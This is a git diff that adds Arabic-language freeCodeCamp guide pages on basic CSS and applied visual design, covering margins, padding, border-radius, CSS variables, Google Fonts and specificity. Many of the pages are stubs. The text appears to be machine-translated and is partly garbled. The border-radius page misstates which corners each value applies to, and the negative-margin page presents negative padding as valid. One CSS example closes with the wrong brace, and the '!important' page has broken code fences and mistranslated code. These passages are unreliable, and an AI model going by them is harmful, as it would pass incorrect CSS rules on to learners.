+localeTitle: استخدم خاصية مقياس تحويل CSS لقياس عنصر على التحويم
+---
+## استخدم خاصية مقياس تحويل CSS لقياس عنصر على التحويم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
new file mode 100644
index 0000000000..f75be70713
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the del Tag to Strikethrough Text
+localeTitle: استخدم علامة del إلى نص يتوسطه خط
+---
+## استخدم علامة del إلى نص يتوسطه خط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
new file mode 100644
index 0000000000..2b3225eb48
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the em Tag to Italicize Text
+localeTitle: استخدم علامة em لإضفاء طابع مائل على النص
+---
+## استخدم علامة em لإضفاء طابع مائل على النص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
new file mode 100644
index 0000000000..c77c0a798e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the strong Tag to Make Text Bold
+localeTitle: استخدم العلامة القوية لجعل النص غامقًا
+---
+## استخدم العلامة القوية لجعل النص غامقًا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
new file mode 100644
index 0000000000..6efb7bfc7f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the text-transform Property to Make Text Uppercase
+localeTitle: استخدم خاصية تحويل النص لجعل نص كبير
+---
+## استخدم خاصية تحويل النص لجعل نص كبير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
new file mode 100644
index 0000000000..bc54006830
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the u Tag to Underline Text
+localeTitle: استخدم علامة u لتسطير النص
+---
+## استخدم علامة u لتسطير النص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
new file mode 100644
index 0000000000..8ad3d2fc9a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
@@ -0,0 +1,24 @@
+---
+title: Add a Negative Margin to an Element
+localeTitle: أضف هامشًا سلبيًا إلى عنصر
+---
+## أضف هامشًا سلبيًا إلى عنصر
+
+الهامش هو التباعد بين حد عنصر وعناصر أخرى على الصفحة.
+
+• هناك تباعد من الأعلى ، اليمين ، الأسفل ، واليسار.
+
+• الرقم في [وحدات css](https://www.tutorialspoint.com/css/css_measurement_units.htm)
+
+على سبيل المثال ، لضبط هامش عنصر ما ليكون سلبيًا ، يمكنك استخدام:
+
+ `.example { 
+ margin: -10px; 
+ } 
+` 
+
+**لضبط حشو** استخدام **عنصر فردي** : الحشو: `-10` بكسل؛
+
+[يمكنك معرفة المزيد حول الهوامش السلبية هنا](https://www.smashingmagazine.com/2009/07/the-definitive-guide-to-using-negative-margins/)
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
new file mode 100644
index 0000000000..57fe90d783
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Borders Around Your Elements
+localeTitle: أضف حدود حول عناصرك
+---
+## أضف حدود حول عناصرك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..82622877eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,29 @@
+---
+title: Add Different Margins to Each Side of an Element
+localeTitle: إضافة هوامش مختلفة إلى كل جانب من العنصر
+---
+## إضافة هوامش مختلفة إلى كل جانب من العنصر
+
+لضبط هوامش استخدام عنصر:
+
+ `.example { 
+  margin: 10px; 
+ } 
+` 
+
+لتحديد أحجام الهوامش على عنصر من جانب كل جانب ، يمكننا استخدام "الهامش الأعلى" ، "الهامش - اليمين" ، "الهامش السفلي" ، و "الهامش الأيسر". يمكننا استخدام أي من هذه في تركيبة وبأي ترتيب. فمثلا:
+
+ `.example { 
+  margin-top: 5px; 
+  margin-bottom: 0px; 
+ } 
+` 
+
+أو:
+
+ `.example { 
+  margin-top: 20px; 
+  margin-left: 25px; 
+  margin-right: 5px; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..7b25b154f8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
@@ -0,0 +1,29 @@
+---
+title: Add Different Padding to Each Side of an Element
+localeTitle: إضافة الحشو مختلفة لكل جانب من عنصر
+---
+## إضافة الحشو مختلفة لكل جانب من عنصر
+
+لضبط حشو استخدام عنصر ما:
+
+ `.example { 
+  padding: 10px; 
+ } 
+` 
+
+لتحديد أحجام الحشو على عنصر من جانب كل جانب ، يمكننا استخدام "padding-top" ، و "padding-right" ، و "padding-bottom" ، و "padding-left". يمكننا استخدام أي من هذه في تركيبة وبأي ترتيب. فمثلا:
+
+ `.example { 
+  padding-top: 5px; 
+  padding-bottom: 0px; 
+ } 
+` 
+
+أو:
+
+ `.example { 
+  padding-top: 20px; 
+  padding-left: 25px; 
+  padding-right: 5px; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
new file mode 100644
index 0000000000..4650d51b31
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
@@ -0,0 +1,44 @@
+---
+title: Add Rounded Corners with border-radius
+localeTitle: إضافة زوايا دائرية مع نصف قطر الحدود
+---
+## إضافة زوايا دائرية مع نصف قطر الحدود
+
+في بعض الأحيان تريد أن يكون لديك زوايا مستديرة بدلاً من الزوايا المربعة. في هذه الحالة ، نستخدم خاصية "border-radius" لتحديد مدى تقريبنا الذي نرغب في أن تكون أركانه.
+
+لضبط إستدارة استخدام الزاوية:
+
+ `.example { 
+ border-radius: 5px; 
+ } 
+` 
+
+كلما زاد العدد ، كلما كانت الزاوية أكثر.
+
+ `.example { 
+ border-radius: 20px; 
+ } 
+` 
+
+باستخدام خاصية نصف قطر الحدود ، يمكننا تقريب أركان العنصر ، سواء كان ذلك يعني تقريب حد ، أو صورة خلفية ، أو لون تعبئة العنصر نفسه. ستلاحظ فقط الزوايا المستديرة الجديدة إذا كان هناك تغيير في اللون!
+
+إذا قمت بتضمين رقم واحد فقط ، فسيتم تطبيق هذا نصف القطر على جميع الزوايا الأربع. إذا كنت تستخدم قيمتين ، ينطبق الأول على الزاويتين اليمنى العلوية والسفلية اليمنى بينما ينطبق الثاني على اليمين العلوي والسفلي الأيسر.
+
+ `.exampleTwoValues { 
+ border-radius: 5px 10px; 
+ } 
+` 
+
+إذا كنت تستخدم أربع قيم ، فسيتم تطبيق القيم على أعلى اليمين ، وأعلى اليسار ، وأسفل يمين ، وأسفل اليسار.
+
+ `.exampleFourValues { 
+ border-radius: 5px 7px 10px 15px; 
+ } 
+` 
+
+إذا كنت تستخدم ثلاث قيم ، فسيتم تطبيق الأول على أعلى اليسار ، والثاني ينطبق على اليمين العلوي AND السفلي الأيسر ، والثالث ينطبق على أسفل اليمين.
+
+ `.exampleThreeValues { 
+ border-radius: 5px 10px 15px; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..872d4f178d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
@@ -0,0 +1,37 @@
+---
+title: Adjust the Margin of an Element
+localeTitle: ضبط هامش عنصر
+---
+## ضبط هامش عنصر
+
+يعني تعديل `Margin` `Element` زيادة أو تقليل مقدار التباعد بين حدود العنصر والعناصر المحيطة.
+
+• يتم ضبط الهوامش مع الأعداد الصحيحة الموجبة والسالبة بوحدات البكسل ( `px` ).
+
+• يمكن إنشاء الهوامش من جميع الاتجاهات (أعلى ، أسفل ، يسار ، يمين).
+
+هذا مثال على كيفية كتابته:
+
+ `margin: 20px; 
+` 
+
+يمكنك بسهولة تغيير أو تعديل `Margin` `Element` عن طريق تغيير القيمة العددية:
+
+**قبل** :
+
+الهامش: `20` بيكسل؛
+
+**بعد** :
+
+الهامش: `50` بيكسل؛
+
+يمكنك أيضًا إنشاء `class` مخصص `margin` ستستخدمه بشكل متكرر.
+
+ `  .style-margin { 
+    margin: 20px; 
+  } 
+` 
+
+ `
+<h2 class="style-margin">Example</h2> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..e05d0430ec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
@@ -0,0 +1,39 @@
+---
+title: Adjust the Padding of an Element
+localeTitle: ضبط الحشو من عنصر
+---
+## ضبط الحشو من عنصر
+
+الحشو هو التباعد بين المحتوى وحدود عنصر.
+
+• هناك تباعد من الأعلى والأسفل واليمين واليمين.
+
+• التباعد هو قيمة رقمية تزيد أو تنقص بوحدات البكسل المكتوبة على هيئة `px` .
+
+لضبط Padding of Alement ، استخدم:
+
+ `padding: 10px; 
+` 
+
+لإنشاء Padding كطبقة لعنصر محدد ، استخدم:
+
+ `.example-Padding { 
+  padding: 10px 
+ { 
+` 
+
+لتطبيق هذا الصنف على الحقل المناسب ، استخدم:
+
+ `
+<div class="example-Padding"> 
+ <p> Example Text </p> 
+ </div> 
+` 
+
+**لضبط Padding of Alement** ، استخدم:
+
+الحشو: `10` بكسل
+
+الآن تعديل القيمة العددية إلى المبلغ المطلوب.
+
+مساحة الحبر: `50` بكسل
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
new file mode 100644
index 0000000000..b278d844c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Attach a Fallback value to a CSS Variable
+localeTitle: إرفاق قيمة الرجوع إلى متغير CSS
+---
+## إرفاق قيمة الرجوع إلى متغير CSS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
new file mode 100644
index 0000000000..0e9d65c7ed
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
@@ -0,0 +1,35 @@
+---
+title: Cascading CSS Variables
+localeTitle: المتتالية CSS المتغيرات
+---
+## المتتالية CSS المتغيرات
+
+متغيرات CSS المتتالية تسمى رسميًا الخصائص المخصصة هي كيانات تتصرف بالمثل مع المتغيرات التقليدية. في هذه المتغيرات تسمح لتخزين البيانات وتحديثها لتعكس القيم الجديدة في وقت لاحق 2 .
+
+يتم تعريف متغيرات CSS لاحتواء قيم محددة وإعادة استخدامها في جميع أنحاء المستند. يتم تعيينها باستخدام تدوين الخاصية المخصصة (على سبيل المثال ، `--main-color: black` ) ويتم الوصول إليها باستخدام الدالة `var()` (على سبيل المثال ، `color: var(--main-color)` ) 1 . قم بتعريف متغير CSS في `:root` محددات `:root` أو `body` للوصول العام.
+
+عند الحفاظ على مستندات CSS معقدة ، ليس من المفيد فقط استخدام متغيرات CSS ولكن أيضًا ذكية. عند إجراء تحديثات مستقبلية بدلاً من البحث عن مئات الأسطر البرمجية المحتملة ، يحتاج المرء فقط إلى تحديث متغير CSS اللازم 1 .
+
+### بناء الجملة
+
+ `:root { 
+  --main-bkgnd-color:  #00B8CB; 
+ } 
+ 
+ body { 
+  background-color: var(--main-bkgnd-color); 
+  font-family: 'Raleway', Helvetica, sans-serif; 
+ } 
+` 
+
+التصريح عن المتغير:
+
+ `--custom-name: value 
+` 
+
+باستخدام المتغير: `css var(--custom-name)`
+
+### مصادر
+
+1.  [قم بزيارة صفحة متتالية CSS CSS الخاصة بـ MDN للحصول على مزيد من المعلومات.](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables)
+2.  [بيرنا ، ماريا أنطونييتا. "دليل عملي إلى متغيرات CSS (خصائص مخصصة)" _sitepoint_ . 1 أغسطس 2018. تم الوصول إليها: 5 أكتوبر 2018](https://www.sitepoint.com/practical-guide-css-variables-custom-properties/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
new file mode 100644
index 0000000000..f9173345c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Change a variable for a specific area
+localeTitle: تغيير متغير لمنطقة محددة
+---
+## تغيير متغير لمنطقة محددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
new file mode 100644
index 0000000000..0051c494ed
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
@@ -0,0 +1,17 @@
+---
+title: Change the Color of Text
+localeTitle: تغيير لون النص
+---
+## تغيير لون النص
+
+يمكنك تغيير لون النص في CSS باستخدام خاصية `color` .
+
+### مثال
+
+ `color: red; 
+` 
+
+## حل
+
+ `<h2 style="color: red;">CatPhotoApp</h2> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
new file mode 100644
index 0000000000..cdc094045a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Font Size of an Element
+localeTitle: تغيير حجم الخط من عنصر
+---
+## تغيير حجم الخط من عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..51de8a0fa0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a custom CSS Variable
+localeTitle: إنشاء متغير CSS مخصص
+---
+## إنشاء متغير CSS مخصص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
new file mode 100644
index 0000000000..a171aeb031
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
@@ -0,0 +1,43 @@
+---
+title: Give a Background Color to a div Element
+localeTitle: إعطاء لون الخلفية لعنصر div
+---
+## إعطاء لون الخلفية لعنصر div
+
+يمكنك تغيير `color` `background` إلى `div` element (أو section) بواحدة من طريقتين.
+
+**الطريقة الأولى:**
+
+قم بإنشاء `class` في أقواس النمط.
+
+ `
+<style> 
+ .blue-background { 
+    background-color: blue; 
+  } 
+ </style> 
+` 
+
+يمكنك بعد ذلك إضافة `class` إلى `div` :
+
+ `
+<div class="blue-background"> 
+  <p> Example </p> 
+ </div> 
+` 
+
+**الطريقة الثانية:**
+
+بدلاً من إنشاء `class` كما في الطريقة الأولى ، يمكنك إنشاء `class` عنصر `div` في أقواس النمط.
+
+سيكون لكل قسم `div` `class` أنشأتها وقمت بتعيينها.
+
+(وهذا يعني أنها `class` متكررة لكل عنصر `div` تقوم بإنشائه.)
+
+ `
+<style> 
+  div { 
+    background-color: blue; 
+  } 
+ </style> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/import-a-google-font/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
new file mode 100644
index 0000000000..cfc6061587
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
@@ -0,0 +1,56 @@
+---
+title: Import a Google Font
+localeTitle: استيراد أحد خطوط Google
+---
+## استيراد أحد خطوط Google
+
+### حل
+
+ `
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ 
+ <style> 
+  .red-text { 
+    color: red; 
+  } 
+  h2 { 
+    font-family: Lobster; 
+  } 
+  p { 
+    font-size: 16px; 
+    font-family: monospace; 
+  } 
+ </style> 
+ 
+ <h2 class="red-text">CatPhotoApp</h2> 
+ <main> 
+  <p class="red-text">Click here to view more <a href="#">cat photos</a>.</p> 
+ 
+  <a href="#"><img src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+ 
+  <div> 
+    <p>Things cats love:</p> 
+    <ul> 
+      <li>cat nip</li> 
+      <li>laser pointers</li> 
+      <li>lasagna</li> 
+    </ul> 
+    <p>Top 3 things cats hate:</p> 
+    <ol> 
+      <li>flea treatment</li> 
+      <li>thunder</li> 
+      <li>other cats</li> 
+    </ol> 
+  </div> 
+ 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor" checked> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label><br> 
+    <label><input type="checkbox" name="personality" checked> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Energetic</label><br> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </main> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/index.md
new file mode 100644
index 0000000000..82e89a273c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic CSS
+localeTitle: CSS الأساسية
+---
+## CSS الأساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
new file mode 100644
index 0000000000..41c7b381e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Inherit Styles from the Body Element
+localeTitle: وراثة الأنماط من عنصر الجسم
+---
+## وراثة الأنماط من عنصر الجسم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
new file mode 100644
index 0000000000..f917433c12
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Circular Images with a border-radius
+localeTitle: جعل الصور الدائرية مع نصف قطرها
+---
+## جعل الصور الدائرية مع نصف قطرها
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
new file mode 100644
index 0000000000..f826ba7771
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
@@ -0,0 +1,34 @@
+---
+title: Override All Other Styles by using Important
+localeTitle: تجاوز كافة الأنماط الأخرى باستخدام هام
+---
+## تجاوز كافة الأنماط الأخرى باستخدام هام
+
+يمكنك تجاوز جميع الأنماط الأخرى في CSS باستخدام `!important`
+
+يعتبر هذا التجاوز الأهم والأولوية على الباقي.
+
+قائمة الأكثر أهمية إلى الأقل أهمية هي كما يلي: \`\` \`
+
+1.  مهم (! مهم)
+2.  أنماط مضمنة
+3.  إعلانات معرف
+4.  تصريحات الطبقة
+
+ `Here is an example of how to write/apply !important: 
+` 
+
+المغلق اللون: أسود!
+
+ ``To apply these in context and see `!important` take precedence, here is an example: 
+`` 
+
+أتش تي أم أل
+
+body { font-family: Helvetica; color: purple; } #violet-text { color: violet; } .black-text { color: black !important; } .blue-text { color: blue; }
+
+# مثال النص
+
+\`\` \`
+
+ستنتهي هذه النتيجة في `Example Text` كونه أسود بسبب `!important` تضاف إلى `color: black` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
new file mode 100644
index 0000000000..748ac96d8b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
@@ -0,0 +1,66 @@
+---
+title: Override Class Declarations by Styling ID Attributes
+localeTitle: تجاوز تعريفات الطبقة عن طريق تحديد سمات المعرف
+---
+## تجاوز تعريفات الطبقة عن طريق تحديد سمات المعرف
+
+لفهم تجاوز في CSS ، يجب عليك أولاً فهم مبدأ precendence في CSS.
+
+القاعدة الأساسية للتذكر هي قراءة CSS من الأسفل إلى الأعلى.
+
+مثال على ذلك هو:
+
+ `
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+ </style> 
+ <h1 class="red-text blue-text">Example</h1> 
+` 
+
+في المثال أعلاه ، سيكون نص `Example` باللون الأزرق لأن آخر صف تمت إضافته كان `blue-text` .
+
+**من المهم أن نتذكر أن سمة `id` سوف تكون لها الأسبقية على الفئات ، أي أنها تحتل المرتبة الأعلى.**
+
+يمكنك إنشاء سمة `id` عن طريق إضافة الرمز `#` قبل اسم الفئة ، كما هو موضح أدناه:
+
+ `
+<style> 
+  #purple-text { 
+    color: purple; 
+  } 
+ </style> 
+` 
+
+هذا مثال يوضح لك كيفية **تجاوز تعريفات Class بواسطة سمات معرف التصميم** :
+
+ `
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+  #green-color { 
